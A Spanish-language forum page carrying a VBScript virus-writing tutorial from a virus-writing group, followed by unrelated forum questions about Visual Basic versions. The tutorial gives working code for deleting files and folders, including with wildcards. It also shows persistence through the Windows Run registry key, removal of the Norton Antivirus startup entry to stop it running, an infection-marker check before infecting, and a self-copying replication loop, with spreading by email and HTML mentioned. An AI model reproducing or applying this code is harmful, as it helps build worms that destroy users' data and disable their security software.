---------------------------------------------------------------------------------------------------------------------
Borrar archivos
---------------------------------------------------------------------------------------------------------------------

DeleteFile

Con este comando borramos archivos en la pc.

Ejemplo:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.DeleteFile "C:\muere_perro.txt"

Esto borrara el archivo "muere_perro.txt" de la unidad C. Si pones *.* ¡borraria todos los archivos!, ¡cuidado!

---------------------------------------------------------------------------------------------------------------------
Crear una carpeta
---------------------------------------------------------------------------------------------------------------------

CreateFolder

Sirve para crear carpetas en el pc.

Ejemplo:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.CreateFolder "C:\muere_perro"

Esto creara la carpeta "muere_perro" en la unidad C

---------------------------------------------------------------------------------------------------------------------
Borrar una carpeta
---------------------------------------------------------------------------------------------------------------------

DeleteFolder

Este comando sirve para borrar carpetas.

Ejemplo:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.DeleteFolder "C:\muere_perro"

Esto borrara la carpeta "muere_perro" de la unidad C. Si pones *.* borraria todos las carpetas!

---------------------------------------------------------------------------------------------------------------------
Crear un archivo
---------------------------------------------------------------------------------------------------------------------

CreateTextFile

Sirve para crear archivos en la pc.

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.CreateTextFile "C:\muere_perro.mp3"

Esto creara el archivo "muere_perro.mp3" en la unidad C, si el archivo existe este sera remplazado, en el siguiente
segmento veremos la manera de verificar si existe el archivo y evitar sobreescribirlo.

---------------------------------------------------------------------------------------------------------------------
Crea un archivo y escribe dentro de el
---------------------------------------------------------------------------------------------------------------------

Esto es algo mas complicado, no tan facil como lo que hemos visto anteriormente pero es escencial si queremos
dejar archivos con mensajes. Primero definiremos los comandos o palabras claves que se pueden utilizar en este
procedimiento.

Ahora la sintaxis al crear un archivo difiere un poco porque con "True" y "False" podemos verificar si existe un
archivo con el nombre que elegimos y podemos decidir si sobreescribirlo o detener la ejecucion de la rutina de
escritura.

Como queremos crear un archivo y ademas escribir en el, quizas decenas de lineas debemos de manejar dos
variables. Esto es para no estar definiendo una y otra vez el nombre del archivo donde vamos a escribir.

Lo haremos de la siguiente manera, en una variable incluiremos el objeto a utlizar que en este caso es "Scripting.FileSystemObject" y en otra variable le asignaremos el valor del comando que se encargara de crear el
archivo

Las variables que utilizare para este ejemplo seran:

zonavirus = para el objeto
virus = para el comando que crea el archivo donde escribiremos

Las lineas del programa que iran de la siguiente manera:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
Set virus = zonavirus.CreateTextFile ("c:\muere_perro.txt", True)

Esto en español quiere decir:

La variable "zonavirus" equivale al objeto "Scripting.FileSystemObject"
La variable "virus" equivale a la variable zonavirus que crea el archivo
"muere_perro.txt" donde escribiremos.

Veamos los comandos que usaremos para escribrir en un archivo.

Comandos al crear el archivo:

True = exista o no exista se escribe en el archivo
False = si el archivo existe no lo sobreescribira

Comandos al escribir en el archivo:

Write = este permite escribir en un solo renglon
WriteLine = sirve para escribir en una linea
WriteBlankLines = sirve para colocar lineas en blanco en el archivo
Close = cierra el archivo

Ejemplo de la escritura en un archivo con todos los comandos definidos:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
Set virus = zonavirus.CreateTextFile (".\muere_perro.txt", True)
virus.WriteLine "-------------------------------------"
virus.WriteLine "Tutorial de VBS"
virus.Write "p"
virus.Write "o"
virus.Write "r"
virus.WriteBlankLines "1"
virus.WriteLine "Kuasanagui"
virus.WriteBlankLines "2"
virus.WriteLine "¡ENTRA A MI CANAL EN EL MIRC!"
virus.WriteBlankLines "1"
virus.WriteLine "SERVER: TABASCO.CHATMIRC.COM"
virus.WriteLine "PORT:6667"
virus.WriteLine "CANAL:ZONAVIRUS"
virus.WriteBlankLines "1"
virus.WriteLine "-------------------------------------"
virus.Close

Esto creara el archivo "muere_perro.txt", "False" hara que si el archivo existe no sea sobreescrito, si no existe,
escribira unas palabras y despues lo cerrara.

===============================================================================

=============================El Objeto WScript.Shell=============================

===============================================================================

Para poder usar los siguientes comandos en un VBS, hay que definir el objeto que manipula acciones con archivos.

Con este podemos realizar acciones distintas que con el objeto anterior, como ejecutar archivos, abrir el explorador,
escribir en el registro, etc.

---------------------------------------------------------------------------------------------------------------------
Ejecutar y/o abrir archivos o paginas web
---------------------------------------------------------------------------------------------------------------------

Run

Sirve para ejecutar archivos y abrir paginas web.

Ejemplo:

On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.Run "C:\muere_perro.txt"

Esto ejecutara el archivo "muere_perro.txt" si este existe en la ruta actual, Si escibes un URL este seria abierto
por el navegador de internet, pero es necesario que pongas las "www", como
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

www.geocities.com/zonavirus;

y si
la url no comienza con "www", tienes que anteponer el "http:\\", como http:\\gedzaclabs.host.sk

---------------------------------------------------------------------------------------------------------------------
Crea y/o modificar una entrada de registro de Windows
---------------------------------------------------------------------------------------------------------------------

RegWrite

Con este comando podemos escribir en el registro de Windows

Ejemplo:

Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegWrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
\InfoTip","Tutorial de VBS por Kuasanagui"

Modifica el mensaje que muestra el windows al pasar el mouse en el icono "MI PC" y le pone otro valor, en este
caso le cambia el mensaje que desplegaba, compruebalo ejecutando el vbs de ejemplo y despues pasando el mouse
sobre el icono "MI PC" y veras.

Si quieres que tu VBS sea residente lo que puedes hacer es crear una linea en el registro que servira para que el
VBS se ejecute a cada inicio de Windows, haciendose residente.

Ejemplo:

Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kuasanagui",
"C:\ejemplo_residente.vbs"

Esto hara que el archivo "ejemplo_residente.vbs" se ejecute cada vez que se inicie Windows, siempre y cuando el
VBS exista en C:

---------------------------------------------------------------------------------------------------------------------
Borrar una entrada de registro de Windows
---------------------------------------------------------------------------------------------------------------------

RegDelete

Borra entradas de registro

Ejemplo:

On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
NAV Agent"

Borra la entrada de registro declarada, si no existe, omite el error y no hace nada. En este caso, la clave que inicia
a Norton Antivirus 2002, esto hara que no se ejecute el NAV2002.

---------------------------------------------------------------------------------------------------------------------
Lee una entrada de registro de Windows
---------------------------------------------------------------------------------------------------------------------

RegRead

Sirve para verificar los valores de una entrada de registro. Por ejemplo, el VBS puede saber leyendo una entrada
de registro si se encuentra infectado la PC, y si no, proceder con la infecccion.

La entrada de registro a leer debe de estrar dentro de parentesis y comillas... bueno a mi solo me funciona asi. =P

Ejemplo:

On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
X = zonavirus.regRead ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\GEDZAC")
If X = "1" Then
MsgBox "Esta Pc esta infectada con el Worm.P2P.TorresGemelas"
Else
MsgBox "Esta Pc esta NO infectada con el Worm.P2P.TorresGemelas"
End If

===============================================================================
===========================La reproducción de los VBS===============================
===============================================================================

Los metodos de reproducción de los VBS dependen tanto de los concimientos que poseas y de tu ingenio. Los mas
usados son la propagación por mails, por disquetes o infectando archivos html. Les ofrezco un ejemplo para crear
copias de si mismo con nombres definidos en el VBS elegidos al azar, cada cierto tiempo.

Ejemplo:

On Error Resume Next
Set zonavirus = CreateObject("Scripting.FileSystemObject")
Do
i = i +1
If i = 1000000 Then
Randomize
kuasa = Int(Rnd * 3)
If kuasa = "0" Then Nombre = "Kuasanagui"
If kuasa = "1" Then Nombre = "ErGrone"
If kuasa = "2" Then Nombre = "Jtag"
zonavirus.CopyFile ".\ejemplo_copyrandomize.vbs", ".\" & Nombre & ".vbs"
i = 0
End If
Loop

Este ejemplo hara que cada vez que "i" tenga el valor de 1000000 se cree una copia de si mismo en el directorio
actual con un nombre de la lista y despues que le otorgue el valor de cero a "i" y que repita el ciclo infinitamente.

De tantas versiones que hay cual me descargo si voy a empezar de "0"??

Alguien me podria decir las diferencias entre cada una?

Si Visual Basic 6.0 y anteriores.
Visual Basic .NET (principalmente para Visual Studio 2002 y 2003).
Visual Basic 2005.
Visual Basic 9.0 (Visual Studio "codename" Orcas).

Embarrassed

llCaroll

Pd: PORFA RESPONDANNNNN

Hola alguien me pudiera decir como hago un ejecutable en VB.Net que sea independiente de VB y de Framework ya k no quiero usar un empaquetador y quiero k se use en maquinas k no tienen Vb y el Framework.

Gracias de antemano

oigan carnales quisiera ver si no me podrian decir donde bajar el visual basic 6 es que ya lo andube buscando pero ya me canse si alguien sabe ahi me dan un link. no?
weno
Gracias!!

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Julio 26, 2008, 11:53:45 Boton Buscar